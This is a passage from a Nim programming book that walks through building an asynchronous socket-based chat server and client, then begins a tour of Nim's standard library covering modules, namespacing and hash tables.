procedure that will handle exceptions appropriately. await No Used to execute another async proc whose result is needed in the line of code after the await. Pauses the execution of an async proc until the specified future completes. Table 3.2 Comparison of common async keywords (continued) Procedure Controls event loop directly Use case Description waitFor readFiles() openAsync(...) await readAll() poll() poll() poll() Read 30% of file Read 80% of file Read 100% of file echo(data) await write(...) poll() Program exit Written 100% of file readFiles paused readFiles paused readFiles finished Figure 3.16 The execution of listing 3.17 Licensed to <null> 91 Transferring data using sockets WARNING: PROCEDURES THAT CONTROL THE EVENT LOOP Typically, runForever, waitFor, and poll shouldn’t be used within async procedures, because they control the event loop directly. Now, I’ll show you how to use await and asynchronous sockets to finish the implemen- tation of the server. 3.5.3 Transferring data asynchronously You’ve already initialized an asynchronous socket and stored it in the server variable. The next steps are as follows: 1 Bind the socket to a port such as 7687.4 2 Call listen on the socket to begin listening for new connections. 3 Start accepting connections via the accept procedure. You’ll need to use await, so you’ll need to introduce a new async procedure. The fol- lowing code shows a loop procedure that performs these steps. proc loop(server: Server, port = 7687) {.async.} = server.socket.bindAddr(port.Port) server.socket.listen() while true: let clientSocket = await server.socket.accept() echo("Accepted connection!") waitFor loop(server) The loop procedure will continuously wait for new client connections to be made. Currently, nothing is done with those connections, but you can still test that this works. Add the preceding code to the end of server.nim. Then, compile and run the server by running nim c -r src/server. TESTING A SERVER WITHOUT A CLIENT Your client hasn’t yet been completed, so you can’t use it to test the server. But it’s fairly easy to use a command-line application called telnet to connect to your new server. On Windows, you may need to enable Telnet in the Windows Features menu—you can find more information at this link: http://mng.bz/eSor. After enabling the telnet feature, you should be able to open a new command window, type telnet at the 4 Most of the easy-to-remember ports are used by other applications: https://en.wikipedia.org/wiki/ List_of_TCP_and_UDP_port_numbers. Listing 3.18 Creating a server socket and accepting connections from clients Sets up the server socket by binding it to a port and calling listen. The integer port param needs to be cast to a Port type that the bindAddr procedure expects. Calls accept on the server socket to accept a new client. The await keyword ensures that the procedure is paused until a new client has connected. Executes the loop procedure and then runs the event loop until the loop procedure returns. Licensed to <null> 92 CHAPTER 3 Writing a chat application prompt, and then connect to your server by executing the open localhost 7687 com- mand. The server should then output “Accepted connection!” On UNIX-like operating systems such as Linux and Mac OS, the telnet application should be available by default. You can simply open a new terminal window and exe- cute telnet localhost 7687. The server should then output “Accepted connection!” CREATING A NEW CLIENT INSTANCE TO HOLD DATA ABOUT THE CLIENT Now, let’s extend the loop procedure to create a new Client instance and add it to the clients field. Replace the while loop with the following. while true: let (netAddr, clientSocket) = await server.socket.acceptAddr() echo("Accepted connection from ", netAddr) let client = Client( socket: clientSocket, netAddr: netAddr, id: server.clients.len, connected: true ) server.clients.add(client) The acceptAddr variant of the accept procedure has been changed to return the IP address of the client that has connected. It returns a tuple, the first value of which is the IP address of the client, and the second being the client socket. The preceding code uses tuple unpacking, which allows for these two values to be assigned immediately to two different variables. When a client successfully connects, the next line writes a message to the terminal that includes the IP address of the client that just connected. After this, a new instance of the Client object is created, with each field assigned a new value using a construc- tor. Finally, the new instance is added to the server’s clients sequence. Recompiling this code and repeating the testing steps described in the section titled “Testing a server without a client” should display “Accepted connection from 127.0.0.1.” But sending messages won’t yet work. PROCESSING THE CLIENT’S MESSAGES Messages typed into the prompt won’t be received by the server yet, even after con- necting with Telnet, because the messages still aren’t being read from the connected clients. Let’s implement the server code to do that now. proc processMessages(server: Server, client: Client) {.async.} = while true: let line = await client.socket.recvLine() Listing 3.19 Creating a new Client instance for each connection Listing 3.20 Receiving messages from a client acceptAddr returns a tuple[string, AsyncSocket] type. The tuple is unpacked into two variables. A message is displayed, indicating that a client has connected and providing its network address. Initializes a new instance of the Client object and sets its fields Adds the new instance of the client to the clients sequence Waits for a single line to be read from the client Licensed to <null> 93 Transferring data using sockets if line.len == 0: echo(client, " disconnected!") client.connected = false client.socket.close() return echo(client, " sent: ", line) Make sure you place this processMessages procedure above the loop procedure. Later, you’ll need to call this procedure from the loop procedure, and this procedure must be above the call site in order for that to work. You may find it strange to see another infinite loop, denoted by the while true statement, at the top of the procedure body. Surely once this procedure is called, its execution will never stop. There is truth to that, but note this is an async procedure, so it can be paused. This procedure will never stop executing, but it will pause its execu- tion when await client.socket.recvLine() is called. Other pieces of code will be executing while this procedure waits for the result of client.socket.recvLine(). The result will contain a single message sent by the client. A single message is guar- anteed because the message protocol created in the previous section uses newline characters as delimiters. There’s one case that will prevent a full message from being received: the client disconnecting from the server. In that case, recvLine returns an empty string, which is why the next line checks the length of the resulting string. If the string is empty, a mes- sage is displayed on the terminal stating that the client disconnected. The client’s connected flag is set to false, and the close procedure is called on the socket to free its resources. Finally, assuming that the client hasn’t disconnected, the message that the client sent is displayed in the terminal. If you try to recompile the code now, you’ll find that it doesn’t compile. The error will be similar to the following: server.nim(16, 54) template/generic instantiation from here server.nim(20, 12) Error: type mismatch: got (Client) but expected one of: system.$(x: int) system.$(x: seq[T]) system.$(x: cstring) system.$(x: bool) ... This is because of the echo(client, " disconnected!") line, which attempts to dis- play the Client type in the terminal. The problem is that the echo procedure attempts to use the $ operator to display all of the procedure’s arguments. If a $ oper- ator isn’t defined for the type that you pass to echo, you’ll get an error message of this sort. The fix is to define it. Most procedures that read data from a socket may return an empty string, which signifies that the socket has disconnected from the server. Closes the client’s socket because it has disconnected Stops any further processing of messages Licensed to <null> 94 CHAPTER 3 Writing a chat application The full code listing for server.nim should now look something like this. import asyncdispatch, asyncnet type Client = ref object socket: AsyncSocket netAddr: string id: int connected: bool Server = ref object socket: AsyncSocket clients: seq[Client] proc newServer(): Server = Server(socket: newAsyncSocket(), clients: @[]) proc `$`(client: Client): string = $client.id & "(" & client.netAddr & ")" proc processMessages(server: Server, client: Client) {.async.} = while true: let line = await client.socket.recvLine() if line.len == 0: echo(client, " disconnected!") client.connected = false client.socket.close() return echo(client, " sent: ", line) proc loop(server: Server, port = 7687) {.async.} = server.socket.bindAddr(port.Port) server.socket.listen() while true: let (netAddr, clientSocket) = await server.socket.acceptAddr() echo("Accepted connection from ", netAddr) let client = Client( socket: clientSocket, netAddr: netAddr, id: server.clients.len, connected: true ) server.clients.add(client) asyncCheck processMessages(server, client) var server = newServer() waitFor loop(server) The code now includes the definition of $ for the Client type, as well as an async- Check command that runs the processMessages procedure in the background. These are both shown in bold. The asyncCheck command can be used to run asynchronous procedures without waiting on their result. This code will call the processMessages procedure for each client that connects to the server, which is precisely what needs to be done. Each client needs to be Listing 3.21 The full server implementation so far Licensed to <null> 95 Transferring data using sockets continuously read from to ensure that any messages it sends are processed. Because of the nature of async procedures, all of this will be done in the background, with the execution of loop continuing and thus being ready to accept more connections. Recompile the server module again, and then run it and connect to it using telnet. Type some text into the Telnet window and press Enter; you should see your server output messages showing the text you entered. SENDING THE MESSAGES TO OTHER CLIENTS Lastly, you need to send the messages received from a client to all other clients that are currently connected to the server. Add the following code to the bottom of the processMessages procedure, making sure you indent this code so it’s within the while loop. for c in server.clients: if c.id != client.id and c.connected: await c.socket.send(line & "\c\l") For completeness, the following listing shows what your processMessages procedure should now look like. The addition is shown in bold. proc processMessages(server: Server, client: Client) {.async.} = while true: let line = await client.socket.recvLine() if line.len == 0: echo(client, " disconnected!") client.connected = false client.socket.close() return echo(client, " sent: ", line) for c in server.clients: if c.id != client.id and c.connected: await c.socket.send(line & "\c\l") That’s all there is to the server! It can now receive messages and send them on to other clients. The problem now is that the client still has no code to connect to the server or to send messages to it. Let’s fix that. ADDING NETWORK FUNCTIONALITY TO THE CLIENT The first network functionality that should be implemented in the client is the ability for it to connect to the server. Before implementing a procedure to do that, though, Listing 3.22 Sending messages on to other clients Listing 3.23 The processMessages procedure after listing 3.22 is inserted Loops through each of the clients in the clients sequence Checks that the client isn’t the client that sent this message and that the client is still connected Sends the message to the client, followed by the message separator: \c\l Licensed to <null> 96 CHAPTER 3 Writing a chat application you must import the asyncdispatch and asyncnet modules. You’ll need to also import the protocol module you created earlier. You can then create a new async pro- cedure called connect, as shown here. proc connect(socket: AsyncSocket, serverAddr: string) {.async.} = echo("Connecting to ", serverAddr) await socket.connect(serverAddr, 7687.Port) echo("Connected!") while true: let line = await socket.recvLine() let parsed = parseMessage(line) echo(parsed.username, " said ", parsed.message) You should place this procedure just below the import statement at the top of the file. It’s fairly simple: it connects to the server and starts waiting for messages from it. The recvLine procedure is used to read a single line at a time. This line is then passed to the parseMessage procedure, which parses it and returns an object that allows for spe- cific parts of the message to be accessed. The message is then displayed, together with the username of the messenger. Before the connect procedure can be called, you must first define a new socket variable. This variable should be initialized using the newAsyncSocket procedure. Define it after the serverAddr command-line argument is read, so, after the let serverAddr = paramStr(1) line. The following code should do the trick: var socket = newAsyncSocket(). You can then replace echo("Connecting to ", serverAddr) with a call to connect, using the asyncCheck procedure to discard the future safely: asyncCheck connect(socket, serverAddr). This code will run in the background because nei- ther await nor waitFor is used. It’s now time to make the reading of standard input in client.nim nonblocking. Currently, the while loop that reads the standard input blocks, but for the connect async procedure to work, the async event loop needs to be executed. This won’t hap- pen if the thread is blocked, so the while loop needs to be modified to integrate the standard input reading with the event loop. The following code shows how this can be done—replace the while loop in client.nim with it. var messageFlowVar = spawn stdin.readLine() while true: if messageFlowVar.isReady(): Listing 3.24 The client’s connect procedure Listing 3.25 Reading from standard input asynchronously Connects to the server address supplied, on the default 7687 port. Continuously attempts to read a message from the server. Uses the parseMessage procedure defined in the protocol module to parse the received message. Displays the message together with the username of the message sender. The initial readLine call has been moved out of the while loop. The isReady procedure determines whether reading the value from messageFlowVar will block. Licensed to <null> 97 Transferring data using sockets let message = createMessage("Anonymous", ^messageFlowVar) asyncCheck socket.send(message) messageFlowVar = spawn stdin.readLine() asyncdispatch.poll() The readLine spawn call has been modified to prevent the readLine procedure from being executed multiple times in hundreds of threads. This would happen if the spawn call was placed inside the while statement because the messageFlowVar would no longer be read synchronously. Now, there is only ever one readLine running in a separate thread at one time. The while loop uses the isReady procedure to check whether the readLine proce- dure returned a newly read value from the standard input stream. If so, the message is sent to the server, and the readLine procedure is spawned again. See figure 3.17, which shows the execution of both the main thread and the readLine thread. Com- pare it to figure 3.10, which you saw earlier. Waiting on the standard input no longer blocks the main thread, allowing the event loop the time to check for events by calling the poll procedure. Sends the message to the server. In this case, createMessage adds the separator for you. Uses the createMessage procedure defined in the protocol module to create a new message. Getting the user’s name is left as an exercise for you. Calls the event loop manually using the poll procedure Spawns readLine in another thread, as the last one has returned with data Figure 3.17 The nonblocking parallel execution of client.nim) Data fully read readLine Thread return message spawn isReady false true send(message) Process IO events for up to 500ms Thread Blocked spawn Main Thread poll() Licensed to <null> 98 CHAPTER 3 Writing a chat application For completeness, here’s the full code listing for client.nim. The changes made in this section are shown in bold. import os, threadpool, asyncdispatch, asyncnet import protocol proc connect(socket: AsyncSocket, serverAddr: string) {.async.} = echo("Connecting to ", serverAddr) await socket.connect(serverAddr, 7687.Port) echo("Connected!") while true: let line = await socket.recvLine() let parsed = parseMessage(line) echo(parsed.username, " said ", parsed.message) echo("Chat application started") if paramCount() == 0: quit("Please specify the server address, e.g. ./client localhost") let serverAddr = paramStr(1) var socket = newAsyncSocket() asyncCheck connect(socket, serverAddr) var messageFlowVar = spawn stdin.readLine() while true: if messageFlowVar.isReady(): let message = createMessage("Anonymous", ^messageFlowVar) asyncCheck socket.send(message) messageFlowVar = spawn stdin.readLine() asyncdispatch.poll() THE FINAL RESULTS That’s all there is to it! You can now compile both the server and the client, and then run the server and multiple clients. If you send a message from one client, it should dis- play in the server window but also in the other clients that are connected to the server. There’s one small feature missing, and that’s the user names. Currently, the user name for each client is hardcoded as "Anonymous". Changing this shouldn’t take too much work, so I’ll leave it as an optional challenge for you. Let’s look back at the original use case: asking John and Grace about Game of Thrones. The discussion looks like this. Dominik said: What did you guys think about the latest Game of Thrones episode? Grace said: I thought Tyrion was really great in it! John said: I agree with Grace. Tyrion deserves an Emmy for his performance. After this discussion takes place, each person’s screen should show the same output, except that each person’s own messages won’t be prefixed by <name> said where <name> is their name. Listing 3.26 The final client implementation Listing 3.27 Conversation between John, Grace, and me about Game of Thrones Licensed to <null> 99 Transferring data using sockets To see it in action, try this scenario out for yourself. Set up three clients and send the messages. The server should display the information in figure 3.18 after this exchange. Each client should show a screen similar to the one in figure 3.19. If you got lost somewhere along the way, or if you just couldn’t get the code to com- pile for some reason, take a look at the book’s code examples on GitHub: https://github.com/dom96/nim-in-action-code. You can now even send the client binary to one of your friends and have them chat with you. You may need to do it over your LAN or forward ports on your router for it to work, though. There’s a lot of room for improvement, such as making sure that the clients are still connected by sending special “ping” messages, or adding the ability to kick users off the server. I’m sure you’ll come up with other ideas, too. Figure 3.18 The server’s output Figure 3.19 The client’s output Licensed to <null> 100 CHAPTER 3 Writing a chat application 3.6 Summary  The recommended Nim project directory consists of the src, bin, and tests directories, storing the source code, the executables, and the tests, respectively.  Command-line arguments can be retrieved using the paramStr procedure and counted using the paramCount procedure.  Standard input, accessed via the stdin global variable, can be read using the readLine procedure.  Reading from the standard input stream is a blocking operation, which means the application can’t do any work while it waits for the data to be read.  A new thread can be used to perform work while another thread is blocked.  New threads can be created by using spawn.  JSON can be generated and parsed using the json module.  The doAssert procedure is a simple and easy way to create tests.  A socket allows data to be transferred over the internet, with asynchronous sockets ensuring that the application doesn’t become blocked.  Asynchronous procedures can be created using an async pragma.  A future is an object that holds a value that will be available at some point in the future.  The await keyword can be used to wait for the completion of a future without blocking. Licensed to <null> 101 A tour through the standard library Every programming language supports the notion of a library. A library is a collec- tion of prewritten software that implements a set of behaviors. These behaviors can be accessed by other libraries or applications via a library-defined interface. For example, a music-playback library such as libogg might define play and stop procedures that start music playing and stop it. The libogg library’s interface can be said to consist of those two procedures. A library such as libogg can be reused by multiple applications, so that the behav- iors the library implements don’t have to be reimplemented for each application. A standard library is one that’s always available as part of a programming lan- guage. A standard library typically includes definitions of common algorithms, data structures, and mechanisms for interacting with the OS. This chapter covers  Understanding the standard library  Examining modules in depth  Getting to know the modules in Nim’s standard library  Using Nim’s standard library modules Licensed to <null> 102 CHAPTER 4 A tour through the standard library The design of a standard library differs between languages. Python’s standard library rather famously follows the “batteries included” philosophy, embracing an inclusive design. C’s standard library, on the other hand, takes a more conservative approach. As such, in Python you’ll find packages that allow you to process XML, send email messages, and make use of the SQLite library, whereas in C, you won’t. The Nim standard library also follows the “batteries included” philosophy. It’s sim- ilar to Python in that regard, because it also contains packages for processing XML, sending email messages, and making use of the SQLite library, amongst a wide range of other modules. This chapter is dedicated to Nim’s standard library and will show you some of its most useful parts. In addition to describing what each part of the stan- dard library does, this chapter presents examples of how each module in the standard library can be used. Figures 4.1 and 4.2 show some of the most useful modules in Nim’s standard library. The difference between pure and impure modules is explained in section 4.2. system Core threads channels locks threadpool macros Some useful pure modules Collections and algorithms algorithm tables sets sequtils String handling strutils parseutils strtabs unicode pegs Operating system services os osproc times asyncfile Parsers parseopt parsecfg json xmlparser htmlparser Internet protocols httpclient asynchttpserver uri asyncnet net Other modules math hashes md5 colors future logging unittest marshal Figure 4.1 The most useful pure modules Licensed to <null> 103 A closer look at modules Let’s begin by looking in more detail at what a module is and how modules can be imported. 4.1 A closer look at modules The Nim standard library is made up of modules. A module in Nim is a file containing Nim code, and by default the code inside a module is isolated from all other code. This isolation restricts which types, procedures, variables, and other definitions are accessible to code defined in a different module. When a new definition is made inside a module, it’s not visible to any other mod- ules by default. It’s private. But a definition can be made public, which means that it’s visible to other modules, using the * character. The following example.nim module defines a moduleVersion variable that’s made public by the * character. var moduleVersion* = "0.12.0" var randomNumber* = 42 You might remember the * character from the previous chapter, where I introduced the * access modifier and used it to export identifiers from the protocol module. Let’s now take a look at the different ways that modules can be imported. You should remember the basic import keyword, which can be used to import the example.nim module like so. import example echo(moduleVersion) The import keyword does something very straightforward—it imports all the public definitions from a specified module. But what might not be immediately obvious is how it finds the specified module. The Nim compiler has a configurable list of directories that it searches for modules. This list is configured in a configuration file normally named nim.cfg. The compiler may use multiple configuration files, but there’s one defined by the compiler that’s always used. It usually resides in $nimDir/config, where $nimDir is the path to the Nim compiler. Listing 4.3 shows what a small part of the default Nim configuration looks Listing 4.1 Module example.nim Listing 4.2 Module main.nim Some useful impure modules re db_mysql db_sqlite db_postgres Figure 4.2 The most useful impure modules The .nim extension must not be specified. After importing the example module, you can access the moduleVersion variable because it’s public. Licensed to <null> 104 CHAPTER 4 A tour through the standard library like. In the listing, each line specifies a directory that the Nim compiler will look at when searching for modules. path="$lib/pure" path="$lib/impure" path="$lib/arch" path="$lib/core" ... PROJECT CONFIG FILES You can create a configuration file that’s specific to your project and use it to customize the behavior of the compiler when com- piling your project. Create a main.nims file, where main.nim is the name of the file you’re compiling. The config file must be placed beside your Nim source code file. You can then place any flags you’d pass on the command line verbatim in that file, such as --threads:on. When a module is imported using the import statement, the Nim compiler searches for files alongside the module that’s doing the importing. If the module isn’t found there, it searches each of the directories defined in the configuration file. This means that for the main.nim module in listing 4.2 to compile, the example.nim module in listing 4.1 should be placed alongside the main.nim module. Figure 4.3 shows how the compiler searches for modules. When compiling main.nim, the local example module and the standard library system module need to be compiled first, so the compiler will search for those modules first and compile them automatically. Modules can also be placed in subdirectories. For example, consider the directory structure shown in figure 4.4. With the example module in the misc directory, the main module needs to be modified as follows. Listing 4.3 Some of the directories in Nim’s configuration file $lib is expanded by the Nim compiler to a full path that leads to the location where Nim’s standard library has been installed. The configuration file contains many more options. You may wish to take a look at it to see which bits of the compiler can be configured. import foobar main.nim example.nim Project directory Stdlib directory ... impure pure Not found Not found Not found Figure 4.3 The compiler searches for modules starting in the project’s directory. main.nim example.nim Project directory misc Figure 4.4 The example.nim file has been moved into the misc directory. Licensed to <null> 105 A closer look at modules import misc/example echo(moduleVersion) The misc directory simply needs to be added to the import statement. 4.1.1 Namespacing Namespaces are common in many programming languages. They act as a context for identifiers, allowing the same identifier to be used in two different contexts. Language support for namespaces varies widely. C doesn’t support them, C++ contains an explicit keyword for defining them, and Python uses the module name as the name- space. Just like in Python, namespaces in Nim are defined by individual modules. To get a better idea of what namespacing is used for, let’s look at an example use case. Assume that you wish to load images of two separate formats: PNG and BMP. Also assume that there are two libraries for reading the two types of files: one called libpng and the other called libbmp. Both libraries define a load procedure that loads the image for you, so if you want to use both libraries at the same time, how do you distin- guish between the two load procedures? If those libraries are written in C, they would need to emulate namespaces. They’d do this by prefixing the procedure names with the name of the library, so the proce- dures would be named png_load and bmp_load to avoid conflicts. C++ versions of those libraries might define namespaces such as png and bmp, and the load proce- dures could then be invoked via png::load and bmp::load. Python versions of those libraries don’t need to explicitly define a namespace—the module name is the name- space. In Python, if the PNG and BMP libraries define their load procedures in png and bmp modules, respectively, the load procedures can be invoked via png.load and bmp.load. In Nim, when a module is imported, all of its public definitions are placed in the namespace of the importing module. You can still specify the fully qualified name, but doing so isn’t required. This is in contrast to how the Python module system works. import example echo(example.moduleVersion) The module namespace only needs to be specified when the same definition has been imported from two different modules. Let’s say a new module called example2.nim was imported, and example2.nim also defines a public moduleVersion variable. In that case, the code will need to explicitly specify the module name. var moduleVersion* = "10.23" Listing 4.4 Importing from a subdirectory Listing 4.5 Module example2.nim Specify the module namespace explicitly by writing the module name followed by a dot character. Licensed to <null> 106 CHAPTER 4 A tour through the standard library import example, example2 echo("Example's version: ", example.moduleVersion) echo("Example 2's version: ", example2.moduleVersion) Compiling and running the code in listing 4.6 will result in the following output: Example's version: 0.12.0 Example 2's version: 10.23 But suppose you attempt to display the value of moduleVersion without qualifying it. import example, example2 echo(moduleVersion) In that case, you’ll receive an error: main.nim(2,6) Error: ambiguous identifier: 'moduleVersion' -- use a qualifier You can prevent all the definitions from being imported into the importing module’s namespace by using a special import syntax. from example import nil echo(moduleVersion) echo(example.moduleVersion) When you use the from statement, the specific definitions that you want imported can be listed after the import keyword. from example import moduleVersion echo(moduleVersion) echo(example.randomNumber) Listing 4.6 Disambiguating identifiers Listing 4.7 Importing modules into their own namespace Listing 4.8 Importing only some of the definitions from a module An import statement can import multiple modules. You just need to separate them with a comma. Imports the example module without importing any of its definitions into this file’s namespace This will no longer work because moduleVersion is no longer in this file’s namespace. The moduleVersion variable can be accessed by explicitly writing the module namespace. Imports moduleVersion into this file’s namespace. All other public definitions need to be accessed via the example namespace. The moduleVersion variable can again be accessed without explicitly writing the module namespace. The randomNumber variable must be qualified. Licensed to <null> 107 Overview of the standard library Certain definitions can be excluded using the except keyword. import example except moduleVersion echo(example.moduleVersion) echo(moduleVersion) echo(randomNumber) In Nim, it’s idiomatic to import all modules so that all identifiers end up in the importing module’s namespace, so you only need to explicitly specify the namespace when the name is ambiguous. This is different from Python, which requires every identifier that’s imported to be accessed via the module’s namespace unless the mod- ule is imported using the from x import * syntax. Nim’s default import behavior allows flexible Uniform Function Call Syntax (UFCS) and operator overloading. Another benefit is that you don’t need to con- stantly retype the module names. You might not recall the discussion on UFCS in chapter 1. It allows any procedure to be called on an object as if the function were a method of the object’s class. The fol- lowing listing shows UFCS in action. proc welcome(name: string) = echo("Hello ", name) welcome("Malcolm") "Malcolm".welcome() You should now have a better understanding of Nim’s module system. Let’s go on to look at Nim’s standard library in greater detail. 4.2 Overview of the standard library Nim’s standard library is split up into three major categories: pure, impure, and wrap- pers. This section will look at these categories in general. Later sections in this chapter explore a few specific modules from a couple of these categories. 4.2.1 Pure modules A large proportion of Nim’s standard library is composed of pure modules. These modules are written completely in Nim and require no dependencies; you should pre- fer them because of this. The pure modules themselves are further split up into multiple categories, includ- ing the following:  The core  Collections and algorithms Listing 4.9 Excluding some definitions when importing Listing 4.10 Uniform Function Call Syntax Accessing the moduleVersion variable via the module’s namespace still works. Accessing the moduleVersion variable without qualifying the name doesn’t work. Accessing the randomNumber variable without qualifying the name does work. Both syntaxes are valid and perform the same action. Licensed to <null> 108 CHAPTER 4 A tour through the standard library  String handling  Generic OS services  Math libraries  Internet protocols  Parsers 4.2.2 Impure modules Impure modules consist of Nim code that uses external C libraries. For example, the re module implements procedures and types for handling regular expressions. It’s an impure library because it depends on PCRE, which is an external C library. This means that if your application imports the re module, it won’t work unless the user installs the PCRE library on their system. 4.2.3 Wrappers Wrappers are the modules that allow these external C libraries to be used. They pro- vide an interface to these libraries that, in most cases, matches the C interface exactly. Impure modules build on top of wrappers to provide a more idiomatic interface. You can use wrappers directly, but doing so isn’t easy because you’ll need to use some of Nim’s unsafe features, such as pointers and bit casts. This can lead to errors because in most cases you’ll need to manage memory manually. Impure modules define abstractions to provide a memory-safe interface that you can easily use in your source code without worrying about the low-level details of C. 4.2.4 Online documentation We’ll start looking at different modules in a moment, but I first want to mention that the Nim website contains documentation for the full standard library. A list of all the modules in the standard library can be found in the Nim documentation: http://nim-lang.org/docs/lib.html. This URL always shows the documentation for the latest release of Nim, and it contains links to documentation for each module. Shared libraries Impure modules such as re use what’s known as a shared library, typically a C library that’s been compiled into a shared library file. On Windows, these files use the .dll extension, on Linux the .so extension, and on Mac OS the .dylib extension.a When you import an impure module, your application will need to be able to find these shared libraries. They’ll need to be installed via your OS’s package manager or bun- dled with your application. On Linux, it’s common to use a package manager; on Mac OS, both methods are fairly common; and on Windows, bundling the dependencies with your application is popular. a See Wikipedia’s “Dynamic linker” article: https://en.wikipedia.org/wiki/Dynamic_linker #Implementations. Licensed to <null> 109 Overview of the standard library The documentation for each module provides definitions and links to implemen- tations of those definitions. It can, for example, link to a line of code where a proce- dure is implemented, showing you exactly how it functions. Every part of Nim is open source, including its standard library, so you can look at the source of the standard library to see Nim code written by the Nim developers themselves. This allows you to truly understand the behavior of each part of the stan- dard library, and you can even modify it to your liking. Figure 4.5 shows what the documentation for the os module looks like. The Nim documentation also includes a Nimble section,1 with links to community- created modules. Nimble is a Nim package manager that makes the installation of these packages easy. You’ll learn more about it in the next chapter. The list of Nimble packages is split into official and unofficial lists. The official packages are ones that are officially supported by the core Nim developers, and as such they’re far more stable than some of the unofficial packages. The official pack- ages include modules that used to be part of the standard library but which have been transferred out in order to make the standard library a bit more lean. We’ll now look at the pure modules in a bit more detail. We’ll start with the core modules. 1 List of Nimble packages: https://nim-lang.org/docs/lib.html#nimble. Figure 4.5 The documentation for the os module Licensed to <null> 110 CHAPTER 4 A tour through the standard library 4.3 The core modules The most important module in the core of the standard library is the system module. This is the only module that’s implicitly imported, so you don’t need to include import system at the top of each of your own modules. This module is imported automatically because it contains commonly used definitions. The system module includes definitions for all the primitive types, such as int and string. Common procedures and operators are also defined in this module. Table 4.1 lists some examples. Table 4.1 Some examples of definitions in the system module Definitions Purpose Examples +, -, *, / Addition, subtraction, multiplica- tion, division of two numbers. doAssert(5 + 5 == 10) doAssert(5 / 2 == 2.5) ==, !=, >, <, >=, <= General comparison operators. doAssert(5 == 5) doAssert(5 > 2) and, not, or Bitwise and Boolean operations. doAssert(true and true) doAssert(not false) doAssert(true or false) add Adds a value to a string or sequence. var text = "hi" text.add('!') doAssert(text == "hi!") len Returns the length of a string or sequence. doAssert("hi".len == 2) shl, shr Bitwise shift left and shift right. doAssert(0b0001 shl 1 == 0b0010) & Concatenation operator; joins two strings into one. doAssert("Hi" & "!" == "Hi!") quit Terminates the application with a specified error code. quit(QuitFailure) $ Converts the specified value into a string. This is defined in the system module for some com- mon types. doAssert($5 == "5") repr Takes any value and returns its string representation. This differs from $ because it works on any type; a custom repr doesn’t need to be defined. doAssert(5.repr == "5") substr Returns a slice of the specified string. doAssert("Hello".substr(0, 1) == "He") echo Displays the specified values in the terminal. echo(2, 3.14, true, "a string") items An iterator that loops through the items of a sequence or string. for i in items([1, 2]): echo(i) Licensed to <null> 111 Data structures and algorithms In addition to the definitions in table 4.1, the system module also contains types that map directly to C types. Remember that Nim compiles to C by default and that these types are necessary to interface with C libraries. Interfacing with C is an advanced topic; I’ll go into it in more detail in chapter 8. Whenever the --threads:on flag is specified when compiling, the system module includes the threads and channels modules. This means that all the definitions found in those modules are available through the system module. These modules implement threads that provide a useful abstraction for concurrent execution. Con- currency will be touched on in more detail in chapter 6. Other modules in the core category include threadpool and locks, both of which implement different threading abstractions, and macros, which implements an API for metaprogramming. The main module in the core that you’ll be interested in is the system module. The others aren’t as important, and you’ll be using them only for specialized tasks like concurrency. You should now have a basic idea of what some of the core modules implement, particularly the procedures and types defined in the implicitly imported system mod- ule. Next, let’s look at the modules that implement data structures and common algo- rithms, and how they can be used. 4.4 Data structures and algorithms A large proportion of data structures are defined in the system module, including ones you’ve already seen in chapter 2: seq, array, and set. Other data structures are implemented as separate modules in the standard library. These modules are listed under the “Collections and algorithms” category in the standard library documentation. They include the tables, sets, lists, queues, intsets, and critbits modules. Many of those modules have niche use cases, so we won’t go into much detail about them, but we will talk about the tables and sets modules. We’ll also look at some modules that implement different algorithms to deal with these data structures. doAssert, assert Raises an exception if the value specified is false. (assert calls are removed when compiled with -d:release. doAssert calls are always present.) doAssert(true) Table 4.1 Some examples of definitions in the system module (continued) Definitions Purpose Examples Licensed to <null> 112 CHAPTER 4 A tour through the standard library 4.4.1 The tables module Assume that you’re writing an application that stores the average life expectancy of dif- ferent kinds of animals. After adding all the data, you may wish to look up the average life expectancy of a specific animal. The data can be stored in many different data structures to accommodate the lookup. One data structure that can be used to store the data is a sequence. The sequence type seq[T] defines a list of elements of type T. It can be used to store a dynamic list of elements of any type; dynamic refers to the fact that a sequence can grow to hold more items at runtime. The following listing shows one way that the data describing the average life expec- tancy of different animals could be stored. var numbers = @[3, 8, 1, 10] numbers.add(12) var animals = @["Dog", "Raccoon", "Sloth", "Cat"] animals.add("Red Panda") In listing 4.11, the numbers variable holds the ages of each of the animals. The ani- mals’ names are then stored in the animals sequence. Each age stored in the numbers sequence has the same position as the animal it corresponds to in animals, but that’s not intuitive and raises many issues. For example, it’s possible to add an animal’s aver- age age expectancy to numbers without adding the corresponding animal’s name into animals, and vice versa. A better approach is to use a data structure called a hash table. A hash table is a data structure that maps keys to values. It stores a collection of (key, value) pairs, and the key appears only once in the collection. You can add, remove, and modify these pairs as well as look up values based on a key. Hash tables typically support keys of any type, and they’re typically more efficient than any other lookup structure, which makes their use popular. Figure 4.6 shows how data about ani- mals can be retrieved from a hash table by performing a lookup based on a key. Listing 4.11 Defining a list of integers and strings Defines a new variable of type seq[int] that holds some numbers Adds the number 12 to the numbers sequence Defines a new variable of type seq[string] that holds some animals Adds the animal "Red Panda" to the animals sequence hash("Dog") animalAges["Dog"] 3 8 1 10 00 01 02 18 19 3 animalAges hash table Hash procedure Hash table lookup Result Figure 4.6 Looking up the value of the key "Dog" in the animalsAges hash table Licensed to <null> 113 Data structures and algorithms The tables module implements a hash table, allowing you to write the following. import tables var animalAges = toTable[string, int]( { "Dog": 3, "Raccoon": 8, "Sloth": 1, "Cat": 10 }) animalAges["Red Panda"] = 12 Several different types of hash tables are defined in the tables module: the generic version defined as Table[A, B]; the OrderedTable[A, B], which remembers the inser- tion order; and the CountTable[A], which simply counts the number of each key. The ordered and count tables are used far less often than the generic table because their use cases are more specific. The Table[A, B] type is a generic type. In its definition, A refers to the type of the hash table’s key, and B refers to the type of the hash table’s value. There are no restric- tions on the types of the key or the value, as long as there’s a definition of a hash pro- cedure for the type specified as the key. You won’t run into this limitation until you attempt to use a custom type as a key, because a hash procedure is defined for most types in the standard library. import tables type Dog = object name: string var dogOwners = initTable[Dog, string]() dogOwners[Dog(name: "Charlie")] = "John" Compiling listing 4.13 will result in the following output: file.nim(7, 10) template/generic instantiation from here lib/pure/collections/tableimpl.nim(92, 21) ➥ template/generic instantiation from here lib/pure/collections/tableimpl.nim(43, 12) ➥ Error: type mismatch: got (Dog) Listing 4.12 Creating a hash table Listing 4.13 Using a custom type as a key in a hash table Hash tables are in the tables module, so it needs to be imported. Creates a new Table[string, int] out of the mapping defined in listing 4.11. The key and value types need to be specified because the compiler can’t infer them in all cases. Uses the {:} syntax to define a mapping from string to int Adds "Red Panda" to the 